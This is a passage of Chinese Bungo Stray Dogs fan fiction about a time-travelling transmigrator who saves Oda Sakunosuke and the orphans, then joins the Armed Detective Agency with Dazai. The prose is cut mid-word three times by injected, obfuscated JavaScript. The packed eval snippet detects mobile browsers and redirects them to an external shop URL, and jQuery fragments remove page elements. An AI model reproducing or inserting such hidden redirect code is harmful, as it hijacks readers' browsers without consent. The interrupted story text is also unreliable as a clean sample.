简直跟老鹰捉小鸡似的轻松。 而且护着鸡崽的鸡妈妈不在场,须臾,Mimic士兵便把五个孩子全部控制住。 如果不是要留着五个孩子的性命用来刺激织田作之助,Mimic士兵还能用更快的速度结束这场以大欺小的绑架。 灰衣人提着孩子们,大摇大摆地向停车场走去。 竹内和彦在确认五个孩子没有性命之忧,且纪德已经收到消息后,赶在他们前面抢先一步上了车。 三拳两腿放倒车上留守的士兵,竹内和彦调用异能包裹住了整辆车,将车上的时间暂停。 本来竹内和彦是准备一口气将车上的炸弹给拆了的,但Mimic士兵的嘴太硬了,死活不肯老实交代清楚炸弹的安装位置。 无法百分百将车上的炸弹拆除,还找不到发讯器——被上去抓人的司机带走了。 无奈之下,竹内和彦只能选择用异能暂时规避爆炸的风险。 等司机一行人上了公车,迎面而来不是战友的问候,而是竹内和彦毫不留情的拳头。 连织田作之助开着挂都甘拜下风的身手,偷袭没有异能的退伍士兵,对竹内和彦而言小菜一碟。 轻松撂倒Mimic后,竹内和彦将他们拖到一边,一拳又一拳地砸下,鲜血溅到脸上也浑然不觉。 或者说,不在意。 织田作死亡的画面在脑海中挥之不去,竹内和彦下手一次比一次重,只想将心底的戾气全部宣泄出来。 直到两只小小的、属于孩子的手,怯生生地抱住了他的大腿。 竹内和彦方才如梦初醒。 “乖,不怕,竹内哥哥来救你们了,一会织田作也会过来。”他温声安抚道。 竹内和彦随手把Mimic的尸体扔到车上,擦干净手上的血,一手将咲乐抱了起来,让她坐在臂弯里,另一只手抱起了真嗣。 这两个孩子年纪最小,吓坏了。 竹内和彦看向老大幸介,关切地问道:“幸介,你脸上的伤感觉怎么样?眼睛能看清吗?” 幸介想扯出一个笑脸安抚他,反倒是牵动脸上的伤口,给自己疼得龇牙咧嘴。 嘴上却逞强道:“我没事,这点小伤对我这个未来的Mafia来说不算什么。竹内哥哥有没有受伤?” “我也没事。” 孩子突然懂事,定是遭大罪了。 竹内和彦心疼得不得了。 过了一会,孩子们的情绪有所平复,竹内和彦招呼他们把头靠过来。 “待会有件事需要你们帮忙,你们愿意帮竹内哥哥吗?” “愿意!”孩子们异口同声。 “待会你们按我说的做,这样这样那样那样……” 竹内和彦跟他们陈明利害后,按照记忆中的剧情给每个孩子分配了任务,重头戏由幸介担起。 原本走剧情的灰衣人现在成了一具具尸体,司机的活,竹内和彦换上衣服伪装一下可以担当,那个拉扯幸介的角色却是没了,只能靠幸介的演技来弥补人物的缺失。 深感自己责任重大的幸介,像小大人一样地拍了拍自己单薄的胸膛,表示一切包在他身上。 “真棒!” 竹内和彦奖励他一个摸摸头。 接下来的一切都按书中的剧情进行,在确定织田作有看到幸介他们之后,换上Mimic灰袍的竹内和彦沉着冷静地启动车子,左躲右闪,稳稳朝高速公路驶去。 “轰!”爆炸再一次发生了。 竹内和彦借助车身的掩护,带着几个已经做好准备的孩子迅速跳车离开。爆炸被他们甩在身后。 “啊啊啊啊啊啊啊啊啊啊!” 那是织田作之助绝望的嘶吼。 竹内和彦脚步微微一顿,随后毫不犹疑地往太宰治为他选定的安全屋继续奔逃。 对不起织田作,我现在不能告诉你真相。只有等一切尘埃落定,才能让你知道孩子们还活着的事实。 对不起…… 将惊魂未定的孩子们妥善安置在绝对安全的安全屋后,竹内和彦转身准备离开。 幸介抓住了他的手。 “竹内哥哥,虽然我不知道你要去做什么,但请你活着回来好吗?” “我们已经没有爸爸妈妈了,不能再没有你们了。”他语带哽咽。 竹内和彦膝盖微弯,蹲下来与他平视,语气温柔而坚定:“好,我答应你。我会带着织田作一起平安回来接你们的。” “那我们拉钩?” “拉钩。” 这一次,竹内和彦再离开,幸介没有阻拦。 他扛起长兄的责任,拉着弟弟妹妹进了房间,等待大人们办完事情归来。 竹内和彦既欣慰又心酸。 脚步坚定不移地往他熟练于心的方向而去。 那是织田作所在的方向。 …… 宽敞华丽的舞厅内,硝烟弥漫。 战斗到了末尾时刻,僵持不下的织田作和纪德对峙站立,互相用手上的枪指着对方的心脏,一枪决生死。 伺机而动的太宰治推开栎木大门冲了进来。 “织田作,幸介他们没有死!竹内救下了他们!” 太宰治如连珠炮般快速把话讲完,生怕晚了一秒。 织田作之助深深望了一眼太宰治的方向,没有说信或不信。 但在子弹穿膛而出的刹那,不知是太宰说的话起了作用,还是对好友的愧疚占了上风,织田作的身体微微侧开几分,纪德射来的子弹没有击中他的心脏。 织田作活下来了。 太宰治意识到这一点,紧绷的心弦终于放松下来,整个人几乎站都站不稳。 他连滚带爬地向织田作跑去。 还不待他说什么庆幸的话,就对上了织田作充满期冀的眼神。 太宰治无奈一笑:“我没骗你,幸介他们确实还活着。” “竹内的能力你还信不过吗?” 话音刚落下,竹内和彦也闯了进来。 来的时候竹内和彦刚好听到太宰治最后一句话,他知道他们定是在说孩子们的事情。 竹内和彦向织田作点了点头,算是承认了。 得到肯定答复,织田作之助在大喜大悲之下,气血上涌,嘴里“哇”的呕出一口黑血。 一副命不久矣的衰败之相。 给竹内和彦吓得以为他们这次拯救织田作大作战要失败而终了,连忙唤出晶核,凝聚出一滴本源之力,迅速弹入织田作之助还未闭合的口中。 原本就残破的晶核变得更加黯淡无光,裂纹在其上愈爬愈多,与之相反的是,织田作之助脸上渐渐恢复了血色。 竹内和彦闷哼一声,怕织田作担忧,硬生生把涌到喉间的老血咽了下去。 痛,浑身都痛。 但对眼前人的担忧压过了一切,暂时麻痹了身体的痛感。 “织田作,你感觉怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205887|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样?” 竹内和彦一边问,一边催动留在织田作体内的本源之力游走至心脉附近,修补被子弹击穿的伤口。 在时间之力的作用下,织田作的命算是保住了。 织田作之助闭上眼睛细细感受体内的变化,睁开眼睛时满是惊讶:“我的枪伤好了。” 竹内和彦笑道:“那是当然啦!我跟你说哈,别看时间异能好像只能回档的样子,其实这里面可大有门道呢……” 竹内和彦挤开太宰治,争夺到最靠近织田作的vip位置,手舞足蹈地跟织田作讲解他异能的多种用处和作用原理。 被挤到一旁的太宰治:……你去另一边不也是一样吗? 竹内和彦瞪他:自己的跟抢来的能一样吗! 太宰治无言以对。 两人的目光在空中无声交锋,噼里啪啦地互相传送脑电波,最后还是太宰治选择退让,主动败下阵来。 竹内和彦面无血色的脸颊因为这场胜仗而浮起一丝红晕。 他得意极了。 这可是他第一次嘴赢太宰治诶! 四舍五入,他打败了剧本组! 竹内和彦得意地笑。 不过,织田作虽然已经被他们成功救下,但这场时间之旅还没到画句号的时候。 ——他们还需要在另一个太宰治面前演一出戏,拖延时间。 竹内和彦收起嬉闹的神色,正色道:“织田作,时间快到了,我长话短说。” “这个世界由一部热血少年漫构成,而我,则是从末世穿进这部漫画的穿越者,拥有操纵时间的异能。” “我们是从未来穿越过来改变你的死局的。按照原本的剧情轨迹,店主大叔和幸介他们都被Mimic杀死了,而你被激应战后,因为失去活下去的意义,选择与纪德同归于尽。” “我虽然可以回溯时间改变过去,但受世界意识限制,只能通过修改不被明确描写的剧情来影响未来走向。” “剧情只写到你目睹公车的爆炸,没有具体描写你确认幸介他们死亡的场景,所以我带着他们走完剧情后逃之夭夭,是可以的。” “而剧情已经明确发生过的事情——比如你曾亲自确认了店主大叔中弹而死,又或者你在太宰的见证下咽气这类情况,一旦强行修改,我们的存在就会立即被世界意识察觉。” “世界上没有两片相同的叶子,一旦被世界意识判定为时间偷渡者,我们就会立即被投入时间缝隙赎罪。” 听到这里,织田作之助面色一片凝重。 “竹内,有什么是我可以帮得上忙的吗?你和太宰是为了救我和孩子们而来,我不能让你们独自承担这份风险。” 竹内和彦也不客气,利落给织田作安排任务。 “现在我们和你的交谈都是建立在另一个主角——过去的太宰治还没登场的前提。” “等他来了,剧情线便要继续向前推进。” “我们需要你稍后多表演一会‘回光返照’拖延一下时间,让我们赶回标记点返回原时间,不让世界意识抓住。” 织田作之助神情严肃,接下了这份事关两位友人安危的重担。 “不过我的演技可能骗不过太宰。”想到太宰智多近妖的聪慧,织田作之助有点担心。 不甘被当作透明人的太宰治跟个想要获得老师家长表扬的学生似的,高高举起了手。 “不用担心,‘我’就算发现也不会揭穿的。” 两人齐刷刷地看向他。 太宰治从容解释:“这个时间点的我基本已经确定竹内拥有的特殊能力是什么了,只需要留下一点线索,他就知道该配合了。” 竹内和彦惊喜:“太好了!” 织田作之助也随之松了口气。 就在这时,竹内和彦隐约听到了一阵急促而熟悉的脚步声。 不好,是这个时间点的太宰要过来了! 来不及再多作寒暄,竹内和彦向织田作之助道了声别,急忙拉着太宰治往外走。 “快走快走,我来的时候正巧遇上过去的你在往这边赶,时间紧迫,只来得及简单给他设下了一些障碍拖延时间。这会他快要到了,再不走就来不及了!” “倘若身处同一时间的两个你撞面,世界意识就会立刻发现我们!” 太宰治也知道事情的轻重缓急,迅速将一块提前准备好的怀表塞进织田作怀里。 他一边被竹内和彦拉着跑,一边回头给织田作报了一个地址。 那是新的安置孩子们的地方。 两人险而又险地与赶过来的另一个太宰治擦肩而过,回到来时的集装箱后,竹内和彦赶紧催动异能,返回原时间线。 熟悉的白光再次亮起。 这一次,舞厅内不再充斥着死亡与离别的孤寂。 12. 第十二章 有惊无险,两人平安回到了原本的时间点。 刚平稳落地,最先按捺不住的变成了太宰治。 脑海中原有的记忆与时间线收束后新增的记忆交织翻滚,最终平稳归位于此时。 从融合的记忆里,他们看到织田作活下来了,此刻正和孩子们待在一起。 但耳听为虚眼见为实,惊魂未定的太宰治决意去亲眼确认一番。 竹内和彦也正有此意,两人眼神一碰,瞬间明了对方的意思。 “你身体怎么样,还撑得住吗?” 太宰治难得良心发作,关怀竹内和彦了一下。这次他可是出大力了。 强行动用异能,又献出了本源之力给织田作治伤,竹内和彦本就摇摇欲坠的晶核几欲破碎。 此时他并不好受。 但—— “完全没问题!”是男人怎么能说不行,竹内和彦嘴硬道。 而且因为能力体系的差异,晶核的问题在这个世界根本解决不了,说出来只能让人跟着干着急。 与其这样,还不如不说。 反正最差的结果就是晶核破碎,他变成没有异能的普通人,但之前被强化的肉.体力量并不会因此消失。 竹内和彦对于自己的武力值如何还是心中有数的。在这个相对安定的社会,没了时间异能他也照样能活得很好。 太宰治看出来竹内和彦有事瞒着他,但他不愿多说,太宰治也不是那种打破砂锅问到底的人,顺着竹内和彦不再多问。 “那我们现在……” “走!” 话音未落,太宰治就急不可耐地拉着竹内和彦,飞一般地向外跑去寻织田作之助,亲自验证他们所改变的过去让织田作活下来的真实性。 因为强行驱动晶核穿越时间改变历史,竹内和彦如今身子异常虚弱,一时半会还真跑不过太宰治这个所谓的“体术中下”者,几乎是被他拖着走的。 要不是竹内和彦一番死缠烂打加威逼利诱,差点就被这个用完就丢的小兔宰治当作累赘丢在半道,自己抢先跑了。 快到门口的时候,原本还一副半死不活力竭模样的竹内和彦忽然将身子一扭,像一只灵活的猹,嗖的一下,从太宰治身侧的空隙溜了进去。 徒留一着不慎被抢了先的太宰治在后面气急败坏地狂奔追赶。 恭喜竹内和彦,成功抢到No.1! 竹内和彦得意:这就叫实力top~ “织田作!我来了!” …… 时间已经很晚了,竹内和彦他们上门的时候,孩子们已经被织田作催着去睡觉了。 三人找了个安静的地方详谈。 之前因为事态紧急,交代得过于仓促,竹内和彦说的那些织田作之助并不能完全理解。趁这个机会,竹内和彦打起精神跟他捋清楚来龙去脉。 竹内和彦说得唾沫横飞,可让他绝望的是,织田作之助的反应居然和太宰治差不多。 一样的平淡,一样的接受良好。 竹内和彦要emo了。 “知道了世界的真相,你们一个个的怎么都不惊讶!太宰是,织田作你也是。”竹内和彦抓耳挠腮,百思不得其解。 织田作之助困惑歪头:“这里该惊讶吗?那我惊讶一下。” 说着,织田作之助还真配合地做出一副惊讶的表情,可惜他眼神没跟上,显得面部表情格外突兀,一旁的太宰治笑得直拍大腿。 “???” 竹内和彦无语问苍天。 织田作之助用力过猛的演技让竹内和彦彻底歇停下来。 可他还是不理解:“你们怎么能那么淡定?我还以为你们至少会怀疑一下人生,思考生命存在的意义。结果什么都没有,就这么轻描淡写地接受了?” 太宰治清了清嗓子,假咳一声,向竹内和彦示意他有话要说。 “太宰同学请讲。”竹内和彦装模作样地捋了捋不存在的白色长须。 太宰治翻了个白眼给他,懒得跟这个幼稚鬼一般见识。 “思考生命的起源与意义,那是生物学家和哲学家的活计。对于我们这种浑浑噩噩存活于世的野犬,‘为什么而活’才是值得钻研的问题。” “这个世界是否是虚构的,和正在活着的我们无关。至少在当下,我们是按自己的意愿活着的。” “没想到你这个自杀狂魔居然能说出这么积极向上、富有人生哲理的话。”竹内和彦惊叹。 太宰治脑袋挂起一排黑点:…… 两人热火朝天地打着嘴仗,一旁的织田作之助若有所思,像是想通了什么,脸上依旧没什么表情,但整个人肉眼可见的开朗了许多,连头顶的呆毛都显得轻快了几分。 竹内和彦和太宰治趁他不注意,偷偷互递了个眼神——计划通! 感觉气氛差不多了,两人才砸吧砸吧嘴,意犹未尽地停战止戈。 还有正事没完成呢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205888|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言归正传。 “既然织田作你已经假死脱身了,有考虑换一份工作吗?” 竹内和彦疯狂眨眼,明示暗示。 “……还没想好。” 谈到就业问题,织田作之助满面愁容。 Mafia的工作已经不再适合他,其他诸如邮差等正经工作,那点微薄薪水养活他一个人是不成问题,但再加上五张嘴,是怎么也不够用的。 竹内和彦不懂多娃家庭男妈妈的忧愁,但他知道,自己推荐的这份工作绝对能完美符合织田作的需求。 君不见,beast线的武侦织被白芥戏称他是要组建军队,足足收养了十五个孩子。 加上刚捡的芥川,就是十六个。 竹内和彦:奖池还在叠加ing。 至今我们仍不知道织田作之助收养孩子的数量极限是多少。 这么想竹内和彦也就这么和织田作说(不过只说了这部分,首领宰的事情还没到时候),得知平行世界自己的丰功伟绩,织田作之助难得有了明显的情绪起伏。 不是震惊自己加入武装侦探社,毕竟有竹内和彦在,这并不是不可能发生的事情。 而是震惊自己居然能支付得起这笔庞大的抚养费用。 就连太宰治也开始好奇平行世界织田作之助的经济来源,但这问到竹内和彦知识盲区了。 “我只知道织田作除了侦探社的工资,还有几份其他的收入,但书里并没有详细写是什么。” 行叭。太宰治头缩了回去。 “怎么样?”竹内和彦眼睛布灵布灵地望着织田作,期待他的选择。 良久,织田作之助点头:“只要福泽社长愿意收容,我很荣幸加入武装侦探社。” “耶!”竹内和彦兴奋地跳起来。 人逢喜事精神爽,他苍白的脸色红润有光泽。 要不是顾忌楼上的孩子们还在酣睡,他准得尖叫出声。这可是他期待了两年的事情!如今梦想成真,心里不知道有多美。 “福泽社长那边我来沟通,织田作你就等着和我成为同事吧!” 一道声音幽幽传来:“那我呢?” “和彦酱是要带着织田作私奔,不带我吗??”语气相当幽怨。 竹内和彦:……也没人告诉我有买一送一的活动哇。 好吧,开玩笑的。 好朋友一个都不能落下! 竹内和彦一手拉一个:“让我们武侦相见!” 13. 第十三章 随着竹内和彦在文野世界停留的时间越来越长,他发现,自己的异能正在慢慢被这个世界本土化。 最直接的证据就是,福泽谕吉社长的「不造人上人」对他生效了! 一开始发觉自己对时间异能的掌控变强时,竹内和彦还以为是自己损坏的晶核修复完成了,调出来一看,晶核表面依旧裂痕遍布,与之前并没有什么太大的变化。 百思不得其解之下,竹内和彦拿零食贿赂了江户川乱步,才从名侦探口中得到答案。原来是因为这个世界正在接纳自己这个外来者。 也正因如此,他的异能才能在福泽谕吉社长「不造人上人」异能的加持下,变得愈发得心应手。 按照这个趋势发展下去,等再过一阵子,说不定可以试试与谢野晶子的「请君勿死」能不能修复他晶核上的损伤。 这一刻,竹内和彦真心觉得,时间的流逝是有意义的了。 转岗成为正式调查员后,虽然工作强度比事务员时期大了不少,但竹内和彦的实际空闲时间反而变多了。 末世时提出“异能便利人类”的理念,在基地专家们的帮助下,竹内和彦对时间异能的运用开发到了极致。对他而言,一天的时间容量远比别人多得多得多。 生活工作两手抓,两手都要硬,对他来说根本不是梦! 竹内和彦可以一边在侦探社处理文书工作,一边跟着其他调查员出外勤,还能抽空溜去织田作之助的宿舍帮忙照顾他日渐壮大的“童子军”队伍——竹内和彦真心觉得,照织田作捡人的速度,他迟早能凑出一支小军队出来(bushi)。 就这么美滋滋地过了两年。 漂白版甜滋滋上岸了! 本来竹内和彦对此并没有多少特别的感触。 毕竟太宰治兢兢业业洗白的时候,他们之间的联系也未曾断过。 竹内和彦还天真地以为,太宰治的回归除了能让他们三人光明正大地来往聚会之外,对他本人的生活节奏不会有什么太大的影响。 ——事实证明,他想当然了! 这简直就是天翻地覆的大剧变! 虽然竹内和彦从来没把太宰治是他推挂在嘴边,平常对他也是一视同仁,并没有比对其他社员多出什么优待。 可狡猾的太宰治还是通过蛛丝马迹洞察了竹内和彦对他不同寻常的关注,他聪明地利用了这一点。 当太宰治秉性暴露想要翘班时,面对他可怜巴巴的“一生仅此一次的请求”,竹内和彦对自推那点藏不住的溺爱,悄然占据了理智高地。 他被忽悠得晕头转向,听话地把太宰治工位上的文件搬到了自己的工位上,埋头苦干。 好了伤疤忘了疼,竹内和彦已然忘记了穿越之初他是怎么被黑心老板骗得连饭都吃不起的惨痛教训,跟地主家的傻儿子似的,被人卖了还乐呵呵地倒帮人家数钱。 等竹内和彦后知后觉地反应过来时,他才终于意识到问题的严重性。 竹内和彦:……不对。我拿一份工资打两份工?不行不行绝对不行。 可惜为时已晚,目的得逞的太宰治早就溜之大吉了。 “太宰治!你给我回来!”竹内和彦手握成拳,气得砸了一下桌子,无能怒吼道。 另一边,已经溜到河边准备愉快入水的太宰治似有所感,连连打了好几个大大的喷嚏。 “看来是竹内反应过来了,在念我。”太宰治手捏着鼻子翁声道。 你以为他会就此反省自己的错误,乖乖回去工作吗? 不! 那是正常人的思维。 不是太宰治的。 太宰治揉了揉打喷嚏打得通红的鼻尖,面朝湍湍河流,张开双臂,身体舒展成一个“大”字。 “连河水都这么迫不及待地欢迎我吗~” 说着,他纵身一跃,扑通下水。 “我来了——!” 须臾,水面上倒栽着两条长腿。 学聪明了的竹内和彦,和同样饱受折磨的国木田独步强强联手,协力把太宰治抓了回来,压着他在工位上恪尽职守,自己的事情自己干。 然而,身体可以被人力所束缚,精神却是不受控制的。 太宰治真要摆,谁也拿他没辙。 好消息:竹内和彦的异能可以轻松实现这一点。 坏消息:他的异能被无效化了。 竹内和彦懊悔地拍了下自己的脑袋,怎么就忘了呢,如今太宰的「人间失格」可以无效化他的时间异能了! 这对竹内和彦来说可真不是一个好消息。 异能这个杀手锏没了,竹内和彦只能另寻他路了。 武力镇压?对着那张自推的池面脸,竹内和彦不忍心。 言语说服?辩不过,真心辩不过,竹内和彦是战一次输一次,快得ptsd了都。 思来想去,只能用爱的感化这一招了。 翻译成人话就是,告家长! 竹内和彦揉红了眼眶,往眼角抹了几滴水,就哭哭唧唧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205889|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找织田作之助告状去了。 此时的太宰治还对自己即将大祸临头一无所知,戴着头戴式耳机,一条腿耷拉在沙发上,一条腿随意地放在地上,没个正行地歪躺着,嘴里哼着自己瞎编的殉情之歌。 “wowwow~yeah~” “独自一人无法殉情自杀~” “两个人才能殉情~殉情~” “……” 还坚持着试图把太宰治劝去工作的国木田独步,突然感觉自己的拳头正在被奇怪的旋律召唤,想要和眼前这个绷带浪费装置好好交流交流音乐心得。 及时赶来的织田作之助使得这场惨剧未能如愿发生。 国木田独步遗憾地收起拳头,理智回笼的他默默自我检讨自己萌生的暴力想法,跟织田作之助点头打招呼后,便拿着他视若珍宝的理想笔记本走了。 显然,国木田独步的蜕变还有一段路要走。 手握剧本的竹内和彦相信,这并不会太远。 作为宰推,竹内和彦太清楚武侦宰有多能搞事了。 再厚的滤镜都经不起他折腾。 时至今日,竹内和彦彻底摘下粉丝的盲目滤镜,学会以平常心对待太宰治了。 他不是织田作之助,无法为太宰治指引寻找自我救赎的方向。 他也不是芥川龙之介,不会偏执地以得到太宰治的认可作为人生最高目标。 他只是他,竹内和彦,一个喜欢《文豪野犬》太宰治的普通粉丝,幸运地穿越时间,与自推面基交友。 仅此而已。 想到这里,竹内和彦的心胸豁然开朗。 其实恢复记忆之后,竹内和彦始终抱有一种不真实的虚幻感。 末世挣扎的绝望与时间缝隙的孤寂仍然历历在目,反倒是眼前这份安慰的幸福,像绚丽且易碎的泡沫般,美好得让人不敢相信。 所以恢复记忆后,竹内和彦才一次次地试图通过揭露这个世界是一部漫画的行为,来向他最信任的织田作之助和太宰治寻求答案。 他并没有被太宰治的话说服。 可此刻,看着眼前欢脱闹腾的画面,竹内和彦忽然明白,答案早就不重要了。 人生苦短,知足常乐,珍惜眼前人比什么都重要。 “织田作,我来祝你一臂之力!” 念头通达的竹内和彦麻溜加入了织田作的感化队伍,三人笑闹作一团。 不管未来会有什么麻烦和挑战,只要他们同心协力,定能共克难关!